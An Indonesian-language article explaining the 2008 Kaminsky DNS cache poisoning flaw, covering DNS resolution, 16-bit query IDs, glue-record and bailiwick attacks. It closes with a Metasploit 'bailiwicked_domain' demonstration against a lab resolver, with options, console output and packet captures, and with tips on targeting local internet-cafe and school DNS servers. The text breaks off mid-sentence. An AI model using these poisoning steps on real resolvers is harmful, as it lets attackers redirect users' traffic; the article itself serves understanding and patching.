Bugs DNS yang ditemukan oleh Dan Kaminsky merupakan bugs DNS paling parah sepanjang sejarah internet, beberapa pihak bahkan menyebutkan bugs DNS ini merupakan bugs paling parah diantara seluruh jenis bugs yang pernah ditemukan. Rasanya memang tidak salah jika Dan merencanakan metode patch yang baru pertama kali dilakukan oleh dunia sejak internet ditemukan dimana rilis patch dilakukan secara bersamaan dengan dukungan lebih dari 80 vendor DNS. DNS merupakan salah satu pilar pembentuk infrastruktur internet di dunia. Jika terdapat hole pada DNS, maka efeknya akan dirasakan oleh seluruh masyarakat pengguna internet. Sebagai tambahan informasi, bugs DNS ini tidak spesifik pada produk dari vendor tertentu namun lebih kepada bugs pada protokol. Vendor/Developer akan mengembangkan produk DNS berdasarkan spesifikasi protokol, maka jika protokol tersebut bermasalah dapat dengan mudah diambil kesimpulan bahwa implementasi produk-produk DNS akan ikut terkena masalah. Informasi lengkap mengenai bugs ini sudah bertebaran di internet, termasuk exploitnya. Awalnya penulis cukup terkejut karena banyak yang tidak memahami prinsip dasar bugs DNS ini, dan juga cukup terkejut saat mengetahui beberapa administrator belum melakukan patch pada sistem mereka. Namun pada akhirnya bisa dipahami dengan membaca pernyataan Cricket Liu (expert DNS): "From our surveys with The Measurement Factory, there are about 11 million name servers on the Internet". Ada 11 juta name server pada internet per tahun 2008. Sekolah memiliki nameserver, perusahaan memiliki nameserver, dan bahkan warnet juga memiliki nameserver. Maka tidak mengherankan betapa mudahnya mendapatkan nameserver yang belum diupdate dan tidak semua system administrator memahami pentingnya update nameserver untuk menghindari bugs ini. Pada artikel ini penulis coba rangkum informasi dari berbagai sumber untuk dituangkan dalam bentuk artikel berbahasa Indonesia berikut implementasi serangan agar lebih mudah dipahami oleh masyarakat internet indonesia, khususnya system administrator untuk melindungi para pengguna internet.
=======
Domain Name System ---|
DNS merupakan metode yang digunakan oleh internet untuk mendapatkan data alamat
36
ip dari suatu sistem berdasarkan data nama yang mudah diingat oleh manusia. Jadi jika kita menuliskan pada url suatu browser: http://www.depkominfo.go.id, maka oleh komputer yang kita gunakan nama tersebut akan di translasi terlebih dahulu ke dalam bentuk alamat IP yang bisa dihubungi. Misalnya untuk www.depkominfo.go.id menggunakan ip 222.124.199.87. Bentuk format alamat IP inilah yang kemudian dapat dihubungi melalui internet untuk mendapatkan servis tertentu. Pada contoh, kita menghubungi server www.depkominfo.go.id pada alamat 222.124.199.87 melalui protokol http (web). Sistem internet tidak akan memahami bagaimana caranya menghubungi server www.depkominfo.go.id secara langsung,untuk itulah diperlukan translasi dari kata-kata yang mudah diingat oleh manusia kedalam bentuk alamat ip yang dipahami oleh internet. Jumlah sistem di internet sangat banyak, dan tidak mungkin mengingat semua data tersebut. Untuk itulah dibutuhkan suatu mekanisme translasi otomatis dan efisien dimana pengguna internet tidak perlu mengetahui seluruh alamat IP dari sistem-sistem internet, semuanya akan dihandle oleh sistem dan kita cukup mengingat nama server tersebut. Pada skenario DNS yang umum digunakan, ada 3 macam pemain: 1. Komputer yang kita gunakan 2. Recursive DNS server (resolver) 3. Authoritative DNS server Recursive DNS server merupakan DNS server ISP yang kita gunakan, atau DNS server sekolah, atau DNS server warnet, dsb. Recursive DNS server merupakan nameserver yang kita set pada konfigurasi network untuk translate nama server kedalam bentuk IP Address. Authoritative DNS server merupakan nameserver yang menyimpan IP public suatu server agar dapat diakses melalui internet. Sebagai informasi tambahan, komputer yang kita gunakan dan recursive dns server biasa disebut sebagai resolver (tolong diingat istilah ini karena akan kita gunakan hingga akhir artikel), yang berarti akan meneruskan request tersebut kepada server yang bertanggung jawab atas domain tertentu secara recursive. Kita akan melihat bagaimana proses translasi komputer pribadi untuk suatu alamat domain secara sistematis (hasil output difilter untuk menampilkan poin-poin penting). Jasmine:~ Cyberheb$ dig www.depkominfo.go.id ;; QUESTION SECTION: ;www.depkominfo.go.id.
IN
A
;; ANSWER SECTION: www.depkominfo.go.id.
3600
IN
A
;; AUTHORITY SECTION: depkominfo.go.id. 3600 depkominfo.go.id. 3600
IN IN
NS NS
ns.depkominfo.go.id. ns1.depkominfo.go.id.
222.124.199.87
Hasil diatas menunjukan query suatu domain beserta hasilnya. Berikut ini penjelasan singkatnya (dari sudut pandang komputer pribadi):
37
Komputer pribadi akan meminta data alamat IP dari server www.depkominfo.go.id yang kemudian akan disampaikan kepada resolver, resolver akan melihat informasi tersebut pada cache dan jika tidak ditemukan maka resolver (misal: nameserver ISP) akan meneruskan request ke root nameserver (saat ini ada 13 root nameserver didunia) untuk mendapatkan list nameserver yang bertanggung jawab terhadap domain .id, resolver kemudian akan menghubungi nameserver .id untuk menanyakan informasi nameserver yang bertangungjawab terhadap domain .go.id, .go.id akan memberikan respon bahwa ns.depkominfo.go.id dan ns1.depkominfo.go.id adalah nameserver yang bertanggung jawab terhadap domain tersebut. Hasil output diatas merupakan respon jika dilihat dari sudut pandang komputer yang kita gunakan, perjalanan hasil query antar resolver lengkap yang sebenarnya dapat dilihat pada output dibawah ini:
Jasmine:~ Cyberheb$ dig @ns.depkominfo.go.id ;; QUESTION SECTION: ;. IN NS ;; ANSWER SECTION: . 95418 IN . 95418 IN . 95418 IN . 95418 IN . 95418 IN . 95418 IN . 95418 IN . 95418 IN . 95418 IN . 95418 IN . 95418 IN . 95418 IN . 95418 IN ;; ADDITIONAL SECTION: J.ROOT-SERVERS.NET. J.ROOT-SERVERS.NET.
NS NS NS NS NS NS NS NS NS NS NS NS NS
181818 181818
G.ROOT-SERVERS.NET. H.ROOT-SERVERS.NET. I.ROOT-SERVERS.NET. J.ROOT-SERVERS.NET. K.ROOT-SERVERS.NET. L.ROOT-SERVERS.NET. M.ROOT-SERVERS.NET. A.ROOT-SERVERS.NET. B.ROOT-SERVERS.NET. C.ROOT-SERVERS.NET. D.ROOT-SERVERS.NET. E.ROOT-SERVERS.NET. F.ROOT-SERVERS.NET.
IN IN
A AAAA
192.58.128.30 2001:503:c27::2:30
----------------------------- END --------------------------------Jasmine:~ Cyberheb$ dig @J.ROOT-SERVERS.NET id ;; QUESTION SECTION: ;id. IN A ;; AUTHORITY SECTION: id. 172800 id. 172800 id. 172800 id. 172800
IN IN IN IN
NS NS NS NS
SEC3.APNIC.NET. NS1.id. NS1.RAD.NET.id. NS1.INDO.NET.id.
;; ADDITIONAL SECTION: NS1.id. 172800 NS1.RAD.NET.id. 172800 NS1.INDO.NET.id. 172800 IN SEC3.APNIC.NET. 172800 SEC3.APNIC.NET. 172800
IN IN A IN IN
A 202.155.30.227 A 202.154.1.2 202.159.32.2 A 202.12.28.140 AAAA 2001:dc0:1:0:4777::140
38
----------------------------- END --------------------------------Jasmine:~ Cyberheb$ dig @NS1.id go.id ;; QUESTION SECTION: ;go.id. IN A ;; AUTHORITY SECTION: go.id. 600 IN 2008080159 21600 3600 691200 86400
SOA
ns.net.id. domain.depkominfo.go.id.
----------------------------- END --------------------------------Jasmine:~ Cyberheb$ dig @ns.net.id www.depkominfo.go.id ;; QUESTION SECTION: ;www.depkominfo.go.id. IN A ;; ANSWER SECTION: www.depkominfo.go.id.
1771
IN
A
;; AUTHORITY SECTION: depkominfo.go.id. 1022 depkominfo.go.id. 1022
IN IN
NS NS
ns1.depkominfo.go.id. ns.depkominfo.go.id.
;; ADDITIONAL SECTION: ns.depkominfo.go.id. ns1.depkominfo.go.id.
1022 1022
IN IN
A A
222.124.199.87
222.124.199.71 222.124.169.162
----------------------------- END ---------------------------------
Dari struktur respon diatas, kita dapat membagi struktur dns response menjadi 3 bagian penting. 1. Answer Section 2. Authority Section 3. Additional Section Answer section merupakan jawaban atas pertanyaan (Query) yang kita sampaikan kepada resolver, yaitu alamat IP publik dari server. Query terhadap suatu resolver juga ada beberapa tipe, diantaranya A (ip address) dan NS (name server). Authority section merupakan list authoritative dns server yang bertanggung jawab atas domain tersebut, dalam hal ini 2 buah nameserver, ns.depkominfo.go.id dan ns1.depkominfo.go.id. Dan additional section merupakan salah satu bagian terpenting pada pembahasan bugs dns ini yang bisa disebut masalah "egg and chicken", additional section akan memberikan alamat IP dari authoritative dns server untuk suatu domain. Pada bagian awal telah dibicarakan bahwa segala sistem di internet hanya dapat berkomunikasi melalui alamat IP, oleh karena itu untuk mengetahui dimana letak authoritative dns server suatu domain harus diketahui juga alamat IP nya, dan informasi inilah yang dikirimkan pada response dns query. Bagian ini sering juga disebut sebagai glue records. Pada akhir proses translasi, resolver akan mendapatkan informasi alamat ip www.depkominfo.go.id dari ns.depkominfo.go.id, dan menggunakan alamat ip itu untuk proses routing menuju server tersebut.
39
Berikut hasil dump menggunakan wireshark terhadap 2 paket dari skenario diatas (Query dan Response DNS), harap diperhatikan baik-baik karena hasil dump ini akan kita jadikan sebagai referensi format paket data DNS hingga akhir artikel:
--------- Query ------------Domain Name System (query) [Response In: 46] Transaction ID: 0x56dd Flags: 0x0100 (Standard query) 0... .... .... .... = Response: Message is a query .000 0... .... .... = Opcode: Standard query (0) .... ..0. .... .... = Truncated: Message is not truncated .... ...1 .... .... = Recursion desired: Do query recursively .... .... .0.. .... = Z: reserved (0) .... .... ...0 .... = Non-authenticated data OK: Non-authenticated data is unacceptable Questions: 1 Answer RRs: 0 Authority RRs: 0 Additional RRs: 0 Queries www.depkominfo.go.id: type A, class IN Name: www.depkominfo.go.id Type: A (Host address) Class: IN (0x0001) --------- END Query ----------------------- Response -----------Domain Name System (response) [Request In: 39] [Time: 0.924113000 seconds] Transaction ID: 0x56dd Flags: 0x8580 (Standard query response, No error) 1... .... .... .... = Response: Message is a response .000 0... .... .... = Opcode: Standard query (0) .... .1.. .... .... = Authoritative: Server is an authority for domain .... ..0. .... .... = Truncated: Message is not truncated .... ...1 .... .... = Recursion desired: Do query recursively .... .... 1... .... = Recursion available: Server can do recursive queries .... .... .0.. .... = Z: reserved (0) .... .... ..0. .... = Answer authenticated: Answer/authority portion was not authenticated by the server .... .... .... 0000 = Reply code: No error (0) Questions: 1 Answer RRs: 1 Authority RRs: 2 Additional RRs: 2 Queries www.depkominfo.go.id: type A, class IN Name: www.depkominfo.go.id Type: A (Host address) Class: IN (0x0001)
40
Answers www.depkominfo.go.id: type A, class IN, addr 222.124.199.87 Name: www.depkominfo.go.id Type: A (Host address) Class: IN (0x0001) Time to live: 1 hour Data length: 4 Addr: 222.124.199.87 Authoritative nameservers depkominfo.go.id: type NS, class IN, ns ns.depkominfo.go.id Name: depkominfo.go.id Type: NS (Authoritative name server) Class: IN (0x0001) Time to live: 1 hour Data length: 5 Name server: ns.depkominfo.go.id depkominfo.go.id: type NS, class IN, ns ns1.depkominfo.go.id Name: depkominfo.go.id Type: NS (Authoritative name server) Class: IN (0x0001) Time to live: 1 hour Data length: 6 Name server: ns1.depkominfo.go.id Additional records ns.depkominfo.go.id: type A, class IN, addr 222.124.199.71 Name: ns.depkominfo.go.id Type: A (Host address) Class: IN (0x0001) Time to live: 1 hour Data length: 4 Addr: 222.124.199.71 ns1.depkominfo.go.id: type A, class IN, addr 222.124.169.162 Name: ns1.depkominfo.go.id Type: A (Host address) Class: IN (0x0001) Time to live: 1 hour Data length: 4 Addr: 222.124.169.162 ----------- END Response --------Untuk memahami konsep bugs bailiwick dibutuhkan pemahaman konsep cara kerja DNS. Sebelumnya tolong tanamkan pada pikiran kita bahwa jenis serangan yang akan dilakukan bukan berjenis eksploitasi server. Eksploitasi dengan memanfaatkan kelemahan pada suatu implementasi DNS (misal: BIND) untuk mendapatkan rootshell-nya bukanlah hal yang akan dibahas sekarang ini. Serangan yang dimaksud adalah eksploitasi pada mekanisme dns, dimana kita dapat mengalihkan request yang dilakukan oleh user terhadap suatu resolver ke server yang dapat kita kontrol. Bahasa kerennya, DNS Cache poisoning. Bagian berikutnya kita akan membahas feature penting dari DNS yang akan dijadikan target serangan DNS poisoning secara berurutan, dilanjutkan juga dengan mekanisme patch DNS terhadap masing-masing serangan tersebut. =======
QID/TXID dan UDP ---|
DNS menggunakan protokol UDP pada transport layer. Seperti yang telah kita
41
ketahui bersama bahwa UDP merupakan protocol transport (silahkan baca teori basic tentang TCP/IP) yang digunakan untuk tipe aplikasi connectionless, sehingga protokol tersebut tidak memberikan jaminan apakah paket query yang dikirim telah diterima oleh nameserver, dan apakah paket response dari nameserver merupakan jawaban atas pertanyaan yang kita berikan. Untuk mengatasi masalah pada transport layer inilah maka aplikasi DNS membutuhkan suatu mekanisme sendiri yang dapat digunakan untuk memberikan jaminan atas permasalahan diatas, disinilah peran QID dibutuhkan. Pada paket data DNS (query maupun response), setiap paket dilengkapi dengan informasi QID. QID terdiri dari 16 bit, sehingga bisa kita ambil kesimpulan QID (Query ID) untuk paket-paket data DNS memiliki range 1-65536. QID inilah yang akan digunakan untuk mencocokan response yang diterima oleh suatu resolver terhadap query yang dilakukan oleh resolver tersebut. Kita dapat melihat QID (atau disebut juga Transaction ID) pada raw format hasil capture wireshark diatas bagian awal paket DNS. Transaction ID/QID tersebut adalah "0x56dd".
| -- Old Attack #1 Sepanjang sejarah DNS, ada 2 metode serangan yang dapat dilakukan untuk meracuni cache suatu nameserver. Yang pertama serangan dilakukan terhadap kelemahan implementasi QID pada protokol DNS. Pada tahun 1997 BIND (DNS server/resolver) saat itu melakukan implementasi QID secara sequential, dalam arti untuk setiap query yang dilakukan oleh resolver nilai QID merupakan "nilai QID sebelumnya plus 1". Dengan mengetahui fakta ini, maka kita dapat meracuni cache suatu resolver dengan memberikan response palsu sebelum response aslinya datang menggunakan QID yang mudah diprediksi. Attacker dapat melakukan hal ini dengan mudah melalui spoofing packet. Misalnya: berpura-pura menanyakan alamat ip suatu server kepada resolver namun sekaligus mengirimkan jawabannya. Attacker dapat mengirimkan beberapa paket spoofing untuk menyesuaikan QID sebenarnya yang dikirimkan oleh resolver. Jadi seandainya diketahui resolver pada saat (t) menggunakan QID 100, maka kita dapat berpura-pura mengirimkan paket dns query pada (t+1) dengan sekaligus menyediakan paket responsenya menggunakan QID 101 - 150. Harap diingat bahwa DNS berkomunikasi menggunakan connectionless protokol (UDP), sehingga jika paket response kita sampai lebih dulu pada resolver dan di cek QID nya sama maka resolver akan memasukan informasi yang kita kirimkan tersebut pada cachenya. Trik ini dapat digunakan untuk meracuni cache DNS server, selanjutnya jika ada pengguna lain nameserver tersebut hendak membuka website domain yang telah di racuni, maka requestnya akan diarahkan pada server pribadi milik kita sesuai data pada paket response. Metode serangan seperti ini telah dibahas sejak tahun 1989. Berbagai cara dilakukan untuk mencari tau QID dari suatu nameserver. Setelah tahun 1997 BIND memutuskan untuk menggunakan random QID pada setiap query, sehingga penyerang akan lebih sulit menebak data QID tersebut. Serangan terhadap implementasi QID semakin berkembang. Tahun 2007, Amit Klein memberikan Proof of Concept bahwa implementasi PRNG (Pseudo Random Number Generator) pada BIND dapat di patahkan secara efisien. Hal ini membuat random Source port UDP dan random QID dari suatu nameserver dapat ditebak dengan lebih efisien. Pembahasan mengenai ini diluar artikel. Untuk saat ini cukup dipahami bahwa serangan dns cache poisoning membutuhkan informasi QID untuk di spoofing.
42
| -- Old Attack #2 Jenis serangan kedua terhadap cache suatu DNS pertama kali ditemukan sekitar tahun 1997. Serangan dilakukan oleh kashpureff dalam rangka aksi protes terhadap suatu bisnis, hingga saat ini jenis serangan tersebut disebut kashpureff attack. Kashpureff attack memanfaatkan kelemahan pada glue records/additional section. Kembali kita perhatikan response dari suatu nameserver: ;; QUESTION SECTION: ;www.depkominfo.go.id.
IN
A
;; ANSWER SECTION: www.depkominfo.go.id.
3600
IN
A
;; AUTHORITY SECTION: depkominfo.go.id. 3600 depkominfo.go.id. 3600
IN IN
NS NS
ns1.depkominfo.go.id. ns.depkominfo.go.id.
IN IN IN
A A A
;; ADDITIONAL SECTION: ns.depkominfo.go.id. 3600 ns1.depkominfo.go.id. 3600 www.google.com. 43200
222.124.199.87
222.124.199.71 222.124.169.162 41.37.37.22
Terlihat perbedaannya?! yup, kashpureff-attack sengaja men-setup suatu nameserver yang sudah dikutak-katik code-nya sehingga apabila ada request terhadap nameserver tersebut akan ditambahkan satu record pada bagian additional section/glue record. Nameserver yang mendapatkan response tersebut akan menambahkan data tambahan kedalam cache miliknya. Bagaimana cara penyerang membuat korban melakukan query terhadap nameserver miliknya tersebut?!Penyerang dapat dengan mudah menggunakan attack-vector berupa halaman website yang contentnya menunjuk domain nameserver tersebut, misalnya:
, secara diam-diam browser pengguna akan melakukan query terhadap nameserver domain evil.com saat membuka page website via nameserver miliknya (contoh:isp), dan secara tidak langsung saat mendapatkan response untuk evil.com nameserver ISP juga mendapatkan response tambahan untuk google.com, pada saat berikutnya ketika pengguna lain nameserver ISP tersebut melakukan query untuk google.com alamat ip nya sudah berubah menuju alamat ip server penyerang (41.37.37.22). Mekanisme patch terhadap jenis serangan ini dilakukan menggunakan "bailiwick". Dengan bailiwick, maka informasi dalam additional section dibatasi hanya pada nameserver yang memiliki authority atas domain tersebut. Jika resolver meminta domain ftp.depkominfo.go.id, maka resolver hanya akan menerima response didalam domain depkominfo.go.id, response terhadap domain lain akan di-ignore. Pemahaman terhadap konsep bailiwick ini juga akan dijadikan konsep dasar hole Dan Kaminsky.
| -- 2008... Jenis hole yang ditemukan oleh Dan Kaminsky merupakan perpaduan antara old attack #1 dan old attack #2. Hole tersebut memanfaatkan kelemahan QID yang hanya 16 bit disertai penggunaan protokol UDP sehingga dapat di bruteforce
43
menggunakan paket flooding, dan memanfaatkan kelemahan pada "bailiwick checking". Bentuk response dari hole Dan kaminsky sebagai berikut: ;; QUESTION SECTION: ;notexist.depkominfo.go.id. ;; ANSWER SECTION: notexist.depkominfo.go.id. ;; AUTHORITY SECTION: depkominfo.go.id. ;; ADDITIONAL SECTION: www.depkominfo.go.id.
120
86400 IN
604800
IN
A
IN
A
NS
www.depkominfo.go.id.
IN
41.41.41.41
A
41.41.41.42
Penyerang berusaha untuk membuat resolver melakukan query terhadap notexist.depkominfo.go.id, dan kemudian juga sekaligus mengirimkan response untuk notexist.depkominfo.go.id pada bagian answer, menyediakan informasi authority nameserver domain tersebut pada bagian authority section, dan...memberikan alamat IP nameserver domain tersebut pada bagian additional section. Harap diingat bahwa penyerang juga harus menyesuaikan QID response yang dikirimkan agar data tipuan tersebut dimasukan pada cache dns target. Jika berhasil, maka cache dns server akan teracuni informasi palsu dan mengarahkan semua request depkominfo.go.id menuju nameserver yang telah dipersiapkan oleh penyerang. Hole ini berhasil mematahkan proses in-bailiwick checking resolver. Nameserver/resolver yang dijadikan target serangan akan percaya sepenuhnya pada response tersebut karena www.depkominfo.go.id memang berada didalam bailiwick checking (*.depkominfo.go.id). That's it?! so simple, isn't it? :).
=======
Teknik Eksploitasi ---|
Dengan adanya public disclosure mengenai hole ini, maka exploit beserta aksi kejahatan lainnya merebak dalam waktu kurang dari 24 jam. Pada bagian akhir kita akan membahas kemungkinan jenis kejahatan yang dapat dilakukan dengan memanfaatkan hole ini. Teknik eksploitasi ada berbagai macam, selain logic serangan yang akan mempengaruhi hasilnya, bahasa pemrograman yang digunakan juga ikut berperan serta. Berdasarkan keterangan Dan kaminsky, awalnya digunakan python sebagai eksploit namun karena terlalu lamban maka diganti menggunakan C. C diklaim dapat melakukan dns cache poisoning suatu resolver dalam watu kurang dari 1 menit (kecepatan internet juga mempengaruhi). Berikut ini permasalahan yang dihadapi untuk membuat eksploit hole diatas: 1. QID/TXID Inti dari hole Kaminsky adalah pada bailiwick checking, namun kita tetap berhadapan dengan masalah QID DNS. Untuk implementasi DNS server saat ini dimana QID merupakan data 16 bit maka dibutuhkan mekanisme agar dapat lebih dahulu memberikan response dengan QID yang tepat kepada resolver. Bentuk eksploit saat ini menggunakan trik non-exist domain, misal: aaaa.google.com, aaab.google.com, dst. Sehingga apabila paket response dari nameserver asli datang lebih dulu maka jawabannya adalah NXDOMAIN (non-exist domain), sedangkan jika pake response hasil spoofing kita sampai lebih dulu maka jawabannya adalah
44
alamat nameserver (A). Tehnik bruteforce QID ada berbagai macam dan dapat digunakan untuk meloloskan paket bruteforce response kita. 2. UDP Protocol Hal ini berkaitan dengan konfigurasi dan implementasi nameserver itu sendiri. Beberapa nameserver menggunakan random source port saat melakukan dns query, sehingga jika kita ingin melakukan spoofing paket response bukan hanya harus menebak QID yang digunakan server tersbut saat mengirimkan query namun juga harus menebak source udp port yang digunakan. Hal ini menambah kompleksitas bruteforce menjadi 2^16 x 2^16 (16 bit QID x 16 bit source udp port). 3. Speed Kecepatan koneksi juga ikut mempengaruhi proses bruteforce, hal ini adalah masalah klasik. Jika kita menggunakan koneksi dial-up (telkomnet????) untuk menyerang nameserver suatu ISP mungkin akan sia-sia, karena koneksi antara DNS server ISP dengan DNS server domain yang asli lebih cepat dibandingkan koneksi kita dengan DNS ISP maka paket response dari DNS server domain asli akan sampai lebih dulu. Hal ini mungkin akan berbeda jika kita bisa memiliki koneksi yang sangat cepat. Teknik paling mudah adalah menyerang DNS lokal (warnet, sekolah, kantor, dll) karena koneksi antara komputer yang kita gunakan untuk menyerang umumnya lebih cepat dibandingkan koneksi antara DNS server lokal tersebut dengan DNS server domain asli. 4. Recursive Beberapa konfigurasi DNS server tidak mengijinkan dilakukan recursive query, atau membatasi recursive query hanya pada network tertentu sehingga akses melakukan eksploitasi terbatas hanya pada lokal area network tempat DNS server tersebut berada.
=======
Exploit in Action ---|
Untuk contoh penggunaan eksploit dan efeknya penulis menggunakan metasploit framework. Dalam real attack penggunaan metasploit framework jelas kurang efisien karena masih terlalu lama untuk dapat sukses melakukan injeksi, terlebih lagi jika kita menggunakan koneksi yang lamban (somehow, masalah ini bisa diatasi, mis: dengan melakukan serangan via salah satu mesin korban lain yang telah di own dan memiliki bandwidth tinggi ;) ), namun prinsip kerja metasploit (terutama kalkulasi jumlah spoofing paket per query dan response) cukup lengkap untuk dijadikan sebagai referensi.
msf auxiliary(bailiwicked_domain) > show options Module options: Name ---DOMAIN NEWDNS server RECONS RHOST
Current Setting --------------depkominfo.go.id 192.168.2.105
Required -------yes yes
Description ----------The domain to hijack The hostname of the replacement DNS
208.67.222.222 192.168.2.102
yes yes
The nameserver used for reconnaissance The target address
45
SRCADDR Real yes the queries (accepted: Real, Random) SRCPORT 53 yes for automatic) TTL 44910 yes XIDS 0 yes (0 for automatic)
The source address to use for sending The target server's source query port (0 The TTL for the malicious host entry The number of XIDs to try for each query
msf auxiliary(bailiwicked_domain) > exploit [*] Targeting nameserver 192.168.2.102 for injection of depkominfo.go.id. nameservers as 192.168.2.105 [*] Querying recon nameserver for depkominfo.go.id.'s nameservers... [*] Got an NS record: depkominfo.go.id. 3496 IN NS ns.depkominfo.go.id. [*] Querying recon nameserver for address of ns.depkominfo.go.id.... [*] Got an A record: ns.depkominfo.go.id. 3496 IN A 222.124.199.71 [*] Checking Authoritativeness: Querying 222.124.199.71 for depkominfo.go.id.... [*] ns.depkominfo.go.id. is authoritative for depkominfo.go.id., adding to list of nameservers to spoof as [*] Got an NS record: depkominfo.go.id. 3496 IN NS ns1.depkominfo.go.id. [*] Querying recon nameserver for address of ns1.depkominfo.go.id.... [*] Calculating the number of spoofed replies to send per query... [*] race calc: 100 queries | min/max/avg time: 1.11/188.08/3.72 | min/max/avg replies: 368/65438/1313 [*] Sending 1969 spoofed replies from each nameserver (1) for each query [*] Attempting to inject poison records for depkominfo.go.id.'s nameservers into 192.168.2.102:53... [*] Poisoning successful after 250 queries and 492250 responses: depkominfo.go.id. == 192.168.2.105 [*] Auxiliary module execution completed
Jasmine:~ Cyberheb$ dig -t NS @192.168.2.102 depkominfo.go.id ; <<>> DiG 9.4.1-P1 <<>> -t NS @192.168.2.102 depkominfo.go.id ; (1 server found) ;; global options: printcmd ;; Got answer: ;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 49356 ;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 0 ;; QUESTION SECTION: ;depkominfo.go.id.
IN
NS
;; ANSWER SECTION: depkominfo.go.id. 41164 IN
NS
192.168.2.105.
;; ;; ;; ;;
Query time: 37 msec SERVER: 192.168.2.102#53(192.168.2.102) WHEN: Sun Aug 3 18:49:22 2008 MSG SIZE rcvd: 61
Pada demo diatas, kita melakukan cache poisoning terhadap DNS server
46
192.168.2.102 untuk domain depkominfo.go.id, hasil akhirnya seluruh query domain depkominfo.go.id akan diarahkan pada DNS server 192.168.2.105. Seluruh client yang menunjuk 192.168.2.102 juga akan mendapatkan hasil yang sama. Metasploit menggunakan opendns untuk proses RECONS authoritative DNS server domain depkominfo.go.id, hal ini dilakukan untuk mencegah data tersebut masuk cache DNS server target jika dilakukan query secara langsung (asumsi kita belum tau nameserver untuk domain depkominfo.go.id). FYI, kita tidak hanya dapat menggunakan opendns, namun juga bisa menggunakan open DNS server yang lain. Phoenix dari k-elektronik pernah membuat tools untuk mencari open DNS server ini pada internet. Setelah mendapatkan informasi authoritative nameserver, metasploit akan menghitung berapa jumlah response terhadap setiap query yang dikirimkan, dengan ini diharapkan proses bruteforce QID akan lebih efisien. Berikut ini hasil capture paket-paket data yang sampai di DNS target, dan akan memperlihatkan implementasi dari 'asumsi' yang dilontarkan oleh halvar flake saat membuka rahasia hole DNS Dan Kaminsky: Internet Protocol, Src: 192.168.2.105 (192.168.2.105), Dst: 192.168.2.102 (192.168.2.102) User Datagram Protocol, Src Port: 47498 (47498), Dst Port: domain (53) Domain Name System (query) [Response In: 276016] Transaction ID: 0xffd4 Flags: 0x0100 (Standard query) 0... .... .... .... = Response: Message is a query .000 0... .... .... = Opcode: Standard query (0) .... ..0. .... .... = Truncated: Message is not truncated .... ...1 .... .... = Recursion desired: Do query recursively .... .... .0.. .... = Z: reserved (0) .... .... ...0 .... = Non-authenticated data OK: Non-authenticated data is unacceptable Questions: 1 Answer RRs: 0 Authority RRs: 0 Additional RRs: 0 Queries VmlcscEEItDB9.depkominfo.go.id: type A, class IN Name: VmlcscEEItDB9.depkominfo.go.id Type: A (Host address) Class: IN (0x0001) Internet Protocol, Src: 192.168.2.102 (192.168.2.102), Dst: 222.124.199.71 (222.124.199.71) User Datagram Protocol, Src Port: domain (53), Dst Port: domain (53) Domain Name System (query) [Response In: 276013] Transaction ID: 0x2e16 Flags: 0x0010 (Standard query) 0... .... .... .... = Response: Message is a query .000 0... .... .... = Opcode: Standard query (0) .... ..0. .... .... = Truncated: Message is not truncated .... ...0 .... .... = Recursion desired: Don't do query recursively .... .... .0.. .... = Z: reserved (0) .... .... ...1 .... = Non-authenticated data OK: Non-authenticated data is acceptable Questions: 1
47
Answer RRs: 0 Authority RRs: 0 Additional RRs: 1 Queries VmlcscEEItDB9.depkominfo.go.id: type A, class IN Name: VmlcscEEItDB9.depkominfo.go.id Type: A (Host address) Class: IN (0x0001) Additional records
: type OPT Name: Type: OPT (EDNS0 option) UDP payload size: 4096 Higher bits in extended RCODE: 0x0 EDNS0 version: 0 Z: 0x8000 Bit 0 (DO bit): 1 (Accepts DNSSEC security RRs) Bits 1-15: 0x0 (reserved) Data length: 0 Internet Protocol, Src: 222.124.199.71 (222.124.199.71), Dst: 192.168.2.102 (192.168.2.102) User Datagram Protocol, Src Port: domain (53), Dst Port: domain (53) Domain Name System (response) Transaction ID: 0x7eed Flags: 0x8500 (Standard query response, No error) 1... .... .... .... = Response: Message is a response .000 0... .... .... = Opcode: Standard query (0) .... .1.. .... .... = Authoritative: Server is an authority for domain .... ..0. .... .... = Truncated: Message is not truncated .... ...1 .... .... = Recursion desired: Do query recursively .... .... 0... .... = Recursion available: Server can't do recursive queries .... .... .0.. .... = Z: reserved (0) .... .... ..0. .... = Answer authenticated: Answer/authority portion was not authenticated by the server .... .... .... 0000 = Reply code: No error (0) Questions: 1 Answer RRs: 1 Authority RRs: 1 Additional RRs: 1 Queries VmlcscEEItDB9.depkominfo.go.id: type A, class IN Name: VmlcscEEItDB9.depkominfo.go.id Type: A (Host address) Class: IN (0x0001) Answers VmlcscEEItDB9.depkominfo.go.id: type A, class IN, addr 135.177.94.73 Name: VmlcscEEItDB9.depkominfo.go.id Type: A (Host address) Class: IN (0x0001) Time to live: 12 hours, 28 minutes, 30 seconds Data length: 4 Addr: 135.177.94.73 Authoritative nameservers depkominfo.go.id: type NS, class IN, ns 192.168.2.105 Name: depkominfo.go.id
48
Type: NS (Authoritative name server) Class: IN (0x0001) Time to live: 12 hours, 28 minutes, 30 seconds Data length: 15 Name server: 192.168.2.105 Additional records 192.168.2.105: type A, class IN, addr 135.177.94.73 Name: 192.168.2.105 Type: A (Host address) Class: IN (0x0001) Time to live: 12 hours, 28 minutes, 30 seconds Data length: 4 Addr: 135.177.94.73
Dari struktur diatas, kita dapat melihat attacker (192.168.2.105) mengirim query untuk VmlcscEEItDB9.depkominfo.go.id, kemudian resolver/dns server yang dijadikan target (192.168.2.102) akan melakukan recursive dns query untuk mencari authoritative dns server domain depkominfo.go.id serta menanyakan jawaban untuk server VmlcscEEItDB9.depkominfo.go.id, saat resolver tersebut mencari jawaban dari authoritative dns server attacker mengirimkan flooding response untuk pertanyaan tersebut. Dan jika QID response-nya sama dengan QID query resolver maka cache resolver akan teracuni, dan dengan metasploit hal ini paling tidak membutuhkan sekitar 3 menit. Konidisi race inilah yang menentukan apakah proses poisoning berhasil, jika response dari authoritative dns server domain depkominfo.go.id lebih dulu datang maka response berisi NXDOMAIN (non-existant domain) akan diberikan kepada resolver, dan resolver akan meneruskan kepada attacker. Seluruh flood yang tersisa untuk query tersebut akan di-discard oleh resolver. Jika attacker kalah cepat, maka attacker akan mencoba dengan domain yang lain, misalnya: 0Kk3zOr9fo0g3vpmbv.depkominfo.go.id, dan proses akan diulang kembali hingga attacker memenangkan race tersebut. Got the point now?! Ini contoh kondisi paket ketika response dari authoritative dns server domain depkominfo.go.id dengan QID yang asli datang lebih dulu pada resolver:
